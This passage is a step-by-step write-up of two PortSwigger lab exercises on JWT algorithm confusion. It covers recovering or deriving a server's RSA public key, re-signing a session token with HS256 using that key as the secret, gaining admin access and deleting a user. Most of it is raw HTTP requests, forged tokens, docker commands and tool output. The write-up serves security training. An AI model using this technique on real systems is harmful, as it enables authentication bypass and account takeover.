Host: <LAB ID>.web-security-academy.net
Cookie: session=eyJraWQiOiIxMTlmNWRlNS00ZjcxLTRlMTgtOWEyYy1hZmFkMmUzNjNkYWUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY5MDI5MjY5OH0.bxoUOeO-2XvebJwjaGKttEb-CRoavjWPZC3ahnHTjJcjppEwt4ETHIqpuRCV3rQJa3aICeyAWjkXg0-_3AxPTr8gpdnD_mqjiWHAg1PyfSb3Q6a4FZdSuw2cJqalFouRqfANU7qVYZWfDb7Jt6-gSXAbI2ItU33zcteNZm9p7pkrIS_J_s-cdwI87soNmoc_5791RCs5Y8BN1q7aR6i-btMPLk76d4ios9bbbS-tFVmQL_ifDBsQCfDRNLN-xuOmO_aoIFWrUU3Y1hlSFpPqez60fN8BA6-l6iNTLyL0teLqpY-RFLVIQWb9ZK2Q5MuYKNHoXoLSCHWZ9Lqh1hbvyg
[...]
HTTP/2 200 OK
X-Frame-Options: SAMEORIGIN
Content-Length: 455

{"keys":[{"kty":"RSA","e":"AQAB","use":"sig","kid":"119f5de5-4f71-4e18-9a2c-afad2e363dae","alg":"RS256","n":"j4Un1b5b82uI1USOG9aPd-nUv7AP9FiOmfk2wNCTxmgJXbnN6_qpTyxfNA-lwtB1oxvzrr0iwhS8fJRdOQPCyMuy8b_n1xrh88udR8WxWJgVRjzL9p80R8JsEqjt38VmTadZNVRkChWUDTAPUZsThJgcfMwngC-vHSY7E09aAQK3S63fUYqzMvt__mSyhXEmIr1BVOURser43npggNp__Av-B5xGvGBDnAlHBHxap1SB_TV4kGh5HI9saYQIhm8E5y8FYINoVaIXw_HwAdKAB2p9cI_ls6XaPeo-Rznf9MvAV1dA41pZP3kUmyUXIMc55lor_wmKTg1pOFM9zIbVew"}]}

Generate a malicious signing key

  • Install/load the JWT Editor extension in Burp Suite.
  • Click on the JWT Editor Keys tab and click New RSA Key.
  • Select JWK as the Key Format.
  • Paste the content of the public key and click OK.
{"kty":"RSA","e":"AQAB","use":"sig","kid":"119f5de5-4f71-4e18-9a2c-afad2e363dae","alg":"RS256","n":"j4Un1b5b82uI1USOG9aPd-nUv7AP9FiOmfk2wNCTxmgJXbnN6_qpTyxfNA-lwtB1oxvzrr0iwhS8fJRdOQPCyMuy8b_n1xrh88udR8WxWJgVRjzL9p80R8JsEqjt38VmTadZNVRkChWUDTAPUZsThJgcfMwngC-vHSY7E09aAQK3S63fUYqzMvt__mSyhXEmIr1BVOURser43npggNp__Av-B5xGvGBDnAlHBHxap1SB_TV4kGh5HI9saYQIhm8E5y8FYINoVaIXw_HwAdKAB2p9cI_ls6XaPeo-Rznf9MvAV1dA41pZP3kUmyUXIMc55lor_wmKTg1pOFM9zIbVew"}

Right-click on the key and select Copy Public Key as PEM.

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAj4Un1b5b82uI1USOG9aP
d+nUv7AP9FiOmfk2wNCTxmgJXbnN6/qpTyxfNA+lwtB1oxvzrr0iwhS8fJRdOQPC
yMuy8b/n1xrh88udR8WxWJgVRjzL9p80R8JsEqjt38VmTadZNVRkChWUDTAPUZsT
hJgcfMwngC+vHSY7E09aAQK3S63fUYqzMvt//mSyhXEmIr1BVOURser43npggNp/
/Av+B5xGvGBDnAlHBHxap1SB/TV4kGh5HI9saYQIhm8E5y8FYINoVaIXw/HwAdKA
B2p9cI/ls6XaPeo+Rznf9MvAV1dA41pZP3kUmyUXIMc55lor/wmKTg1pOFM9zIbV
ewIDAQAB
-----END PUBLIC KEY-----

Encode the key in base 64 using the Decoder tab. Be careful to keep the carriage return from the PEM when encoding.

LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFqNFVuMWI1YjgydUkxVVNPRzlhUApkK25VdjdBUDlGaU9tZmsyd05DVHhtZ0pYYm5ONi9xcFR5eGZOQStsd3RCMW94dnpycjBpd2hTOGZKUmRPUVBDCnlNdXk4Yi9uMXhyaDg4dWRSOFd4V0pnVlJqekw5cDgwUjhKc0VxanQzOFZtVGFkWk5WUmtDaFdVRFRBUFVac1QKaEpnY2ZNd25nQyt2SFNZN0UwOWFBUUszUzYzZlVZcXpNdnQvL21TeWhYRW1JcjFCVk9VUnNlcjQzbnBnZ05wLwovQXYrQjV4R3ZHQkRuQWxIQkh4YXAxU0IvVFY0a0doNUhJOXNhWVFJaG04RTV5OEZZSU5vVmFJWHcvSHdBZEtBCkIycDljSS9sczZYYVBlbytSem5mOU12QVYxZEE0MXBaUDNrVW15VVhJTWM1NWxvci93bUtUZzFwT0ZNOXpJYlYKZXdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
  • Click on the JWT Editor Keys tab and click New Symmetric Key.
  • Leave the Key Size and Key empty. Click on Generate to generate a new key in JWK format.
  • Replace the generated value for the “k” property with the base 64 PEM that you just created and click OK.
{
    "kty": "oct",
    "kid": "e1df44ba-94eb-4c37-aa83-b5b089fe47fe",
    "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFqNFVuMWI1YjgydUkxVVNPRzlhUApkK25VdjdBUDlGaU9tZmsyd05DVHhtZ0pYYm5ONi9xcFR5eGZOQStsd3RCMW94dnpycjBpd2hTOGZKUmRPUVBDCnlNdXk4Yi9uMXhyaDg4dWRSOFd4V0pnVlJqekw5cDgwUjhKc0VxanQzOFZtVGFkWk5WUmtDaFdVRFRBUFVac1QKaEpnY2ZNd25nQyt2SFNZN0UwOWFBUUszUzYzZlVZcXpNdnQvL21TeWhYRW1JcjFCVk9VUnNlcjQzbnBnZ05wLwovQXYrQjV4R3ZHQkRuQWxIQkh4YXAxU0IvVFY0a0doNUhJOXNhWVFJaG04RTV5OEZZSU5vVmFJWHcvSHdBZEtBCkIycDljSS9sczZYYVBlbytSem5mOU12QVYxZEE0MXBaUDNrVW15VVhJTWM1NWxvci93bUtUZzFwT0ZNOXpJYlYKZXdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}

Modify and sign the token

  • In the Repeater tab, click on the /admin request.
  • Click on the JSON Web Token tab in the request.
    • In the Payload section, replace “wiener” by “administrator”.
    • In the Header section, replace the alg value by “HS256”.
    • Click on Sign, and select the symmetric key that you just created. Select Don’t modify header. Click OK. The modified token is now signed using the server’s public key as the secret key.
  • Go back to the Raw tab and send the request.
GET /admin HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=eyJraWQiOiIxMTlmNWRlNS00ZjcxLTRlMTgtOWEyYy1hZmFkMmUzNjNkYWUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2OTAyOTI2OTh9.ahqCic98mYC3ajScJn8NAgsI81J5S4WU5_nTGyzER5k
[...]
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 3155
[...]
<div>
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
</div>
[...]

Delete user carlos to solve the lab.

GET /admin/delete?username=carlos HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=eyJraWQiOiIxMTlmNWRlNS00ZjcxLTRlMTgtOWEyYy1hZmFkMmUzNjNkYWUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2OTAyOTI2OTh9.ahqCic98mYC3ajScJn8NAgsI81J5S4WU5_nTGyzER5k
[...]

Expert – JWT authentication bypass via algorithm confusion with no exposed key

This lab uses a JWT-based mechanism for handling sessions. It uses a robust RSA key pair to sign and verify tokens. However, due to implementation flaws, this mechanism is vulnerable to algorithm confusion attacks. To solve the lab, first obtain the server’s public key. Use this key to sign a modified session token that gives you access to the admin panel at /admin, then delete the user carlos. You can log in to your own account using the following credentials: wiener:peter. You can assume that the server stores its public key as an X.509 PEM file.

Click on My account and enter provided credentials (wiener:peter).

Inspect the requests

A session cookie is created with a JWT.

Cookie: session=eyJraWQiOiI0MWI2ZjQ0MC00MTkzLTRkNmMtYmFhNS0xNjAzOWU5MjA3YzkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY5MDM4NzE3MX0.UiVSWuby7g3M75MCwNlugvQYihH-khliaxXa5M4I4kcsolEOMPz6eXVE-Du5DJR3HrzmeXJkLo2XBfHRJYvFdVQ0VBKtJ0nm2X2TF3NjJzVvxLOjULOSA79AqGQUscE3BN7ulNKbjspcGhb_Ts781ee9qGA42NT3nzUi8kWsUkQdkU3INbRndQv4hYe2NyxfVYh75Bt_Eqb099ZuWGiq1kDLYfQOtKqxc0H9UaJIVnkPEjdhI4bqXwUT41GTbJhUzOwMaOjUaqtXO8Y5JbxdNcN3dfeK0J47DQ7Xc3w7qlZksGlWzrfpSp6wBiFlFQ4Ft21OKn-480UqqdlQY2dFTw

Try to access /admin and send the request to the Repeater module.

GET /admin HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=eyJraWQiOiI0MWI2ZjQ0MC00MTkzLTRkNmMtYmFhNS0xNjAzOWU5MjA3YzkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY5MDM4NzE3MX0.UiVSWuby7g3M75MCwNlugvQYihH-khliaxXa5M4I4kcsolEOMPz6eXVE-Du5DJR3HrzmeXJkLo2XBfHRJYvFdVQ0VBKtJ0nm2X2TF3NjJzVvxLOjULOSA79AqGQUscE3BN7ulNKbjspcGhb_Ts781ee9qGA42NT3nzUi8kWsUkQdkU3INbRndQv4hYe2NyxfVYh75Bt_Eqb099ZuWGiq1kDLYfQOtKqxc0H9UaJIVnkPEjdhI4bqXwUT41GTbJhUzOwMaOjUaqtXO8Y5JbxdNcN3dfeK0J47DQ7Xc3w7qlZksGlWzrfpSp6wBiFlFQ4Ft21OKn-480UqqdlQY2dFTw
[...]
HTTP/2 401 Unauthorized
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2691
[...]

Obtain the server’s public key

  • Keep the previous JWT for later use.
  • Log out of the application.
  • Log in the application again. You will get a second JWT.
  • Keep this second JWT for later use.

Derive the public key with jwt_forgery.py. Use the docker container from PortSwigger.

JWT1=eyJraWQiOiI0MWI2ZjQ0MC00MTkzLTRkNmMtYmFhNS0xNjAzOWU5MjA3YzkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY5MDM4NzE3MX0.UiVSWuby7g3M75MCwNlugvQYihH-khliaxXa5M4I4kcsolEOMPz6eXVE-Du5DJR3HrzmeXJkLo2XBfHRJYvFdVQ0VBKtJ0nm2X2TF3NjJzVvxLOjULOSA79AqGQUscE3BN7ulNKbjspcGhb_Ts781ee9qGA42NT3nzUi8kWsUkQdkU3INbRndQv4hYe2NyxfVYh75Bt_Eqb099ZuWGiq1kDLYfQOtKqxc0H9UaJIVnkPEjdhI4bqXwUT41GTbJhUzOwMaOjUaqtXO8Y5JbxdNcN3dfeK0J47DQ7Xc3w7qlZksGlWzrfpSp6wBiFlFQ4Ft21OKn-480UqqdlQY2dFTw
JWT2=eyJraWQiOiI0MWI2ZjQ0MC00MTkzLTRkNmMtYmFhNS0xNjAzOWU5MjA3YzkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY5MDM4ODQ1MH0.jkzFrB9OnW89t0Q9_X_vgecP4fLfaBT3QkEHU8p_oo_gAIe1mkHtWuLqGctLZfWByrEZGevFGFQavXmRNL0c5Q4syiPpVW3Tn4UOrme_PRxyi7GhiZOfVUTedtaRgBnGbBo9kWGJEtPNQ--cac7FLSdsNNfUmCGI4E1uTnnrp7ONczqDxEsjHdPyOUIbvDbQm4eItJY5uV9FjvI3HlVaFo-ym8l4QvU5FelPa5qJxYu-kgqEOmmY54YKyx-3-g38bRacd3dIWkARWXQRR2fK4t2lBkxjhFE6kuA7eUyfOoPG87Jl2nF1DpBRj6fXitg077LOu7JGJG521OP18NbTqw
# Fix for "docker: Error response from daemon: cgroups: cgroup mountpoint does not exist: unknown."
sudo mkdir /sys/fs/cgroup/systemd
sudo mount -t cgroup -o none,name=systemd cgroup /sys/fs/cgroup/systemd
sudo docker run --rm -it portswigger/sig2n $JWT1 $JWT2

The output contains a Base64-encoded PEM key in both X.509 and PKCS1 format, and a forged JWT signed using each of these keys.

Running command: python3 jwt_forgery.py <token1> <token2>

Found n with multiplier 1:
    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFtVG9RazkwVG16b3p2S1haSmR0UwpqR1ZuVmlJTUhwWDR2QjNrMDB0K1h6WVJ4NVU2OGlucUFzZmJrU2xaUU85Z2x3cnlRdktkV2ZpUU5oQ2NROVhPCjBjOVJuVTZ5aGZiM3BDbFlNQ2xxTDBFeTJ0QW9IS0hMVHA3QVYyUHU0cE9CK0RqUUtUMDhsUTFkTHZPKzRlc2MKbHFiRjlpL1hIY3hsL2FxTTIxQW12V2hncWJDY3hpeG5hQmtOK2s4M3JnR1Z0RllGYzFZZnhFKzZ0M2ZPRWk3NQpGaEluR0dMTFJ1R3BYa0grNTg3QzNlZEdXY1kwalZoMkNURzdwMjFKdWtTS1BPYWV1U1VZR1o3RHliWXhZdFhiCm9uVURXdThWZ21lUVNRU0hQbkU4MEd2MHU1ZmQ4aGdhMmdIM3BGT1U3dFljMXR5Ym5JakVNN1BmaEVmQ2hmaVkKQndJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    Tampered JWT: eyJraWQiOiI0MWI2ZjQ0MC00MTkzLTRkNmMtYmFhNS0xNjAzOWU5MjA3YzkiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjkwNDcxNjMzfQ.MgMMvBpip96d2HjfrdnPrvMecuRKrs0TMSoR5sLF5ko
    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQW1Ub1FrOTBUbXpvenZLWFpKZHRTakdWblZpSU1IcFg0dkIzazAwdCtYellSeDVVNjhpbnEKQXNmYmtTbFpRTzlnbHdyeVF2S2RXZmlRTmhDY1E5WE8wYzlSblU2eWhmYjNwQ2xZTUNscUwwRXkydEFvSEtITApUcDdBVjJQdTRwT0IrRGpRS1QwOGxRMWRMdk8rNGVzY2xxYkY5aS9YSGN4bC9hcU0yMUFtdldoZ3FiQ2N4aXhuCmFCa04razgzcmdHVnRGWUZjMVlmeEUrNnQzZk9FaTc1RmhJbkdHTExSdUdwWGtIKzU4N0MzZWRHV2NZMGpWaDIKQ1RHN3AyMUp1a1NLUE9hZXVTVVlHWjdEeWJZeFl0WGJvblVEV3U4VmdtZVFTUVNIUG5FODBHdjB1NWZkOGhnYQoyZ0gzcEZPVTd0WWMxdHlibklqRU03UGZoRWZDaGZpWUJ3SURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
    Tampered JWT: eyJraWQiOiI0MWI2ZjQ0MC00MTkzLTRkNmMtYmFhNS0xNjAzOWU5MjA3YzkiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjkwNDcxNjMzfQ.HWY060EhhZjPQcI8gyrRpAkLw9KFegqGCiFS2c26d5o

To identify the correct key, use Burp Repeater to send a request containing each of the forged JWTs. Only one of these will be accepted by the server. You can then use the matching key to construct an algorithm confusion attack.

Sending a request to the My Account page with the first tampered token works. The second token results in a 302 Found redirecting to /login.

GET /my-account?id=wiener HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=eyJraWQiOiI0MWI2ZjQ0MC00MTkzLTRkNmMtYmFhNS0xNjAzOWU5MjA3YzkiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAic3ViIjogIndpZW5lciIsICJleHAiOiAxNjkwNDcxNjMzfQ.MgMMvBpip96d2HjfrdnPrvMecuRKrs0TMSoR5sLF5ko
[...]
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 3422
[...]

Generate a malicious signing key

  • Click on the JWT Editor Keys tab and click New Symmetric Key.
  • Leave the Key Size and Key empty. Click on Generate to generate a new key in JWK format.
  • Replace the generated value for the “k” property with the “Base64 encoded x509 key” from the derived key output and click OK.
{
    "kty": "oct",
    "kid": "dd153d49-d3fa-4950-9f33-b48fe435c34b",
    "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFtVG9RazkwVG16b3p2S1haSmR0UwpqR1ZuVmlJTUhwWDR2QjNrMDB0K1h6WVJ4NVU2OGlucUFzZmJrU2xaUU85Z2x3cnlRdktkV2ZpUU5oQ2NROVhPCjBjOVJuVTZ5aGZiM3BDbFlNQ2xxTDBFeTJ0QW9IS0hMVHA3QVYyUHU0cE9CK0RqUUtUMDhsUTFkTHZPKzRlc2MKbHFiRjlpL1hIY3hsL2FxTTIxQW12V2hncWJDY3hpeG5hQmtOK2s4M3JnR1Z0RllGYzFZZnhFKzZ0M2ZPRWk3NQpGaEluR0dMTFJ1R3BYa0grNTg3QzNlZEdXY1kwalZoMkNURzdwMjFKdWtTS1BPYWV1U1VZR1o3RHliWXhZdFhiCm9uVURXdThWZ21lUVNRU0hQbkU4MEd2MHU1ZmQ4aGdhMmdIM3BGT1U3dFljMXR5Ym5JakVNN1BmaEVmQ2hmaVkKQndJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}

Modify and sign the token

  • In the Repeater tab, click on the /admin request.
  • Click on the JSON Web Token tab in the request.
    • In the Payload section, replace “wiener” by “administrator”.
    • In the Header section, replace the alg value by “HS256”.
    • Click on Sign, and select the symmetric key that you just created. Select Don’t modify header. Click OK. The modified token is now signed using the server’s public key as the secret key.
  • Go back to the Raw tab and send the request.
GET /admin HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=eyJraWQiOiI0MWI2ZjQ0MC00MTkzLTRkNmMtYmFhNS0xNjAzOWU5MjA3YzkiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2OTAzODg0NTB9.GCkEsChYYqnATI4yx-3ElLzj97oi9tt4D_T24iN7D2s
[...]
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 3215
[...]
<div>
<span>carlos - </span>
<a href="/admin/delete?username=carlos">Delete</a>
</div>
[...]

Delete user carlos to solve the lab.

GET /admin/delete?username=carlos HTTP/2
Host: <LAB ID>.web-security-academy.net
Cookie: session=eyJraWQiOiI0MWI2ZjQ0MC00MTkzLTRkNmMtYmFhNS0xNjAzOWU5MjA3YzkiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2OTAzODg0NTB9.GCkEsChYYqnATI4yx-3ElLzj97oi9tt4D_T24iN7D2s
[...]